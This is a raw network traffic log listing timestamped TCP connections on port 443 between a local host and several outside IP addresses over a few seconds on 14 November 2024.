Nov 14, 2024 20:43:23.291656971 CET	49839	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:23.293735981 CET	49839	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:23.293775082 CET	443	49839	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:23.293869972 CET	49838	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:23.293909073 CET	443	49838	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:23.305845976 CET	49840	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:23.305932999 CET	443	49840	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:23.306056976 CET	49840	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:23.306269884 CET	49840	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:23.306308031 CET	443	49840	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:23.308269024 CET	49841	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:23.308355093 CET	443	49841	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:23.308443069 CET	49841	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:23.308712006 CET	49841	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:23.308748960 CET	443	49841	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:23.353876114 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.353897095 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.353984118 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.354006052 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.354115963 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.469901085 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.469961882 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.469985008 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.470006943 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.470025063 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.470046043 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.585057974 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.585081100 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.585150957 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.585172892 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.585207939 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.703195095 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.703212023 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.703273058 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.703371048 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.703413963 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.703536987 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.818880081 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.818937063 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.819039106 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.819039106 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.819061041 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.819106102 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.937475920 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.937520981 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.937572956 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.937606096 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.937627077 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.938365936 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.938749075 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.938772917 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.938873053 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.938873053 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:23.938939095 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:23.939018011 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.055746078 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.055782080 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.055830956 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.055851936 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.055876970 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.055896997 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.147661924 CET	443	49839	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:24.148004055 CET	49839	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:24.148030043 CET	443	49839	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:24.148946047 CET	443	49839	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:24.149034977 CET	49839	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:24.149311066 CET	49839	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:24.149382114 CET	443	49839	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:24.149482012 CET	49839	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:24.149507999 CET	443	49839	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:24.170067072 CET	443	49838	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:24.170295000 CET	49838	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:24.170340061 CET	443	49838	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:24.170602083 CET	443	49838	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:24.170933962 CET	49838	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:24.170994043 CET	443	49838	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:24.171895027 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.171919107 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.171971083 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.172005892 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.172027111 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.172044039 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.183196068 CET	443	49840	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:24.183418989 CET	49840	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:24.183435917 CET	443	49840	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:24.184689045 CET	443	49840	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:24.184760094 CET	49840	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:24.185759068 CET	443	49840	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:24.185821056 CET	49840	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:24.185961008 CET	49840	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:24.186047077 CET	443	49840	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:24.186089039 CET	49840	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:24.186115026 CET	49840	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:24.186146021 CET	443	49840	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:24.194406033 CET	49839	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:24.225703955 CET	49838	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:24.240948915 CET	49840	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:24.285657883 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.285687923 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.285742044 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.285763025 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.285799980 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.285824060 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.287130117 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.287151098 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.287194967 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.287201881 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.287249088 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.327327013 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.327392101 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.327411890 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.327430964 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.327481031 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.327543020 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.327553034 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.327560902 CET	49837	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.327564955 CET	443	49837	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.373274088 CET	49843	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.373368025 CET	443	49843	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.373522043 CET	49843	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.373594046 CET	49844	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.373640060 CET	443	49844	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.373869896 CET	49844	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.374000072 CET	49843	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.374031067 CET	443	49843	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.374329090 CET	49844	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.374413967 CET	443	49844	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.375314951 CET	49845	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.375358105 CET	443	49845	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.375529051 CET	49845	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.375720024 CET	49845	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.375735044 CET	443	49845	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.376802921 CET	49846	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.376821995 CET	443	49846	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.377594948 CET	49847	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.377602100 CET	49846	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.377607107 CET	443	49847	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.377657890 CET	49847	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.377821922 CET	49847	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.377836943 CET	443	49847	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.377902031 CET	49846	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:24.377913952 CET	443	49846	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:24.427059889 CET	443	49839	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:24.472841978 CET	443	49840	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:24.477472067 CET	49839	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:24.477494001 CET	443	49839	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:24.478955030 CET	49839	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:24.479015112 CET	443	49839	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:24.479118109 CET	49839	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:24.514532089 CET	49840	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:24.514564991 CET	443	49840	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:24.517168045 CET	49840	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:24.517271996 CET	443	49840	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:24.517685890 CET	443	49840	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:24.517745972 CET	49840	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:24.540574074 CET	49849	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:24.540610075 CET	443	49849	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:24.540679932 CET	49849	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:24.540858984 CET	49849	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:24.540868044 CET	443	49849	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:25.025180101 CET	443	49841	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:25.027235031 CET	49841	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:25.027267933 CET	443	49841	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:25.027791977 CET	443	49841	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:25.028131008 CET	49841	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:25.028227091 CET	443	49841	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:25.028260946 CET	49841	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:25.028260946 CET	49841	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:25.028309107 CET	443	49841	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:25.051172018 CET	49851	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:25.051260948 CET	443	49851	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:25.051368952 CET	49851	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:25.051646948 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:25.051672935 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:25.051740885 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:25.051903009 CET	49851	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:25.051939011 CET	443	49851	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:25.052087069 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:25.052097082 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:25.080066919 CET	49841	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:25.139889002 CET	443	49845	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.140396118 CET	49845	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.140440941 CET	443	49845	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.140852928 CET	49845	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.140861988 CET	443	49845	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.147387981 CET	443	49847	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.148889065 CET	49847	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.148910046 CET	443	49847	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.149391890 CET	49847	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.149398088 CET	443	49847	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.151139021 CET	443	49843	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.151493073 CET	49843	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.151578903 CET	443	49843	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.151999950 CET	49843	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.152014017 CET	443	49843	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.182516098 CET	443	49844	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.182959080 CET	49844	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.183006048 CET	443	49844	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.183279037 CET	49844	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.183288097 CET	443	49844	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.244270086 CET	443	49846	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.244744062 CET	49846	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.244790077 CET	443	49846	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.245027065 CET	49846	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.245034933 CET	443	49846	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.269119024 CET	443	49845	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.269151926 CET	443	49845	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.269206047 CET	443	49845	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.269212961 CET	49845	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.269263983 CET	49845	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.269495010 CET	49845	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.269515038 CET	443	49845	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.269532919 CET	49845	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.269539118 CET	443	49845	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.272248983 CET	49853	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.272278070 CET	443	49853	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.272408009 CET	49853	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.272574902 CET	49853	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.272584915 CET	443	49853	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.279814005 CET	443	49847	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.279829979 CET	443	49847	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.280008078 CET	49847	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.280019999 CET	443	49847	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.280035019 CET	443	49847	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.280075073 CET	49847	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.280143023 CET	49847	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.280143023 CET	49847	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.280149937 CET	443	49847	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.280160904 CET	443	49847	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.285149097 CET	443	49843	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.285650015 CET	443	49843	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.285764933 CET	49843	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.286932945 CET	49854	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.287019014 CET	443	49854	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.287116051 CET	49854	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.287461996 CET	49854	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.287494898 CET	443	49854	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.287617922 CET	49843	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.287663937 CET	443	49843	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.287693977 CET	49843	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.287709951 CET	443	49843	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.290975094 CET	49855	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.290992022 CET	443	49855	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.291069031 CET	49855	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.291269064 CET	49855	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.291275024 CET	443	49855	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.314209938 CET	443	49841	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:25.337091923 CET	443	49844	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.337110043 CET	443	49844	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.337169886 CET	49844	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.337202072 CET	443	49844	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.337800026 CET	49844	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.339102030 CET	443	49844	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.339143991 CET	443	49844	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.339198112 CET	49844	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.342860937 CET	49844	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.342900991 CET	443	49844	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.365087032 CET	49841	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:25.365118027 CET	443	49841	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:25.367908955 CET	49841	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:25.368115902 CET	443	49841	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:25.368275881 CET	49841	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:25.394989014 CET	49856	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.395015955 CET	443	49856	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.395086050 CET	49856	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.395329952 CET	49856	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.395338058 CET	443	49856	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.402070045 CET	443	49849	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:25.411706924 CET	443	49846	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.412348032 CET	443	49846	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.412401915 CET	49846	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.425211906 CET	49846	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.425231934 CET	443	49846	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.431921005 CET	49849	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:25.431931973 CET	443	49849	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:25.432497025 CET	443	49849	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:25.432553053 CET	49849	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:25.433497906 CET	443	49849	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:25.433559895 CET	49849	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:25.436075926 CET	49849	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:25.436156988 CET	443	49849	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:25.436625957 CET	49849	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:25.436633110 CET	443	49849	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:25.475167990 CET	49857	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.475203991 CET	443	49857	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.475265980 CET	49857	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.475774050 CET	49857	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:25.475794077 CET	443	49857	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:25.486051083 CET	49849	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:25.714615107 CET	443	49849	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:25.714718103 CET	443	49849	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:25.714778900 CET	49849	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:25.714796066 CET	443	49849	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:25.716651917 CET	49858	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:25.716684103 CET	443	49858	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:25.716761112 CET	49858	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:25.717272997 CET	49858	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:25.717288971 CET	443	49858	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:25.717499018 CET	49849	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:25.717576981 CET	443	49849	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:25.717737913 CET	49849	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:25.950464010 CET	443	49851	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:25.950820923 CET	49851	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:25.950886011 CET	443	49851	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:25.952478886 CET	443	49851	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:25.952660084 CET	49851	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:25.953741074 CET	49851	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:25.953865051 CET	443	49851	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:25.954282045 CET	49851	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:25.954320908 CET	443	49851	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:25.975194931 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:25.975532055 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:25.975545883 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:25.977391958 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:25.977454901 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:25.977936029 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:25.978012085 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:26.000260115 CET	49851	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:26.018446922 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:26.018454075 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:26.025036097 CET	443	49853	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.027332067 CET	443	49855	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.028218031 CET	49853	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.028244019 CET	443	49853	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.028820038 CET	49853	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.028825998 CET	443	49853	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.029166937 CET	49855	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.029175997 CET	443	49855	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.029789925 CET	49855	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.029794931 CET	443	49855	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.063646078 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:26.146152020 CET	443	49856	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.155914068 CET	443	49853	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.156131029 CET	443	49855	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.156142950 CET	443	49853	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.156200886 CET	49853	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.156227112 CET	443	49855	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.156532049 CET	49855	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.190543890 CET	49856	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.219590902 CET	443	49851	188.119.66.154	192.168.2.4
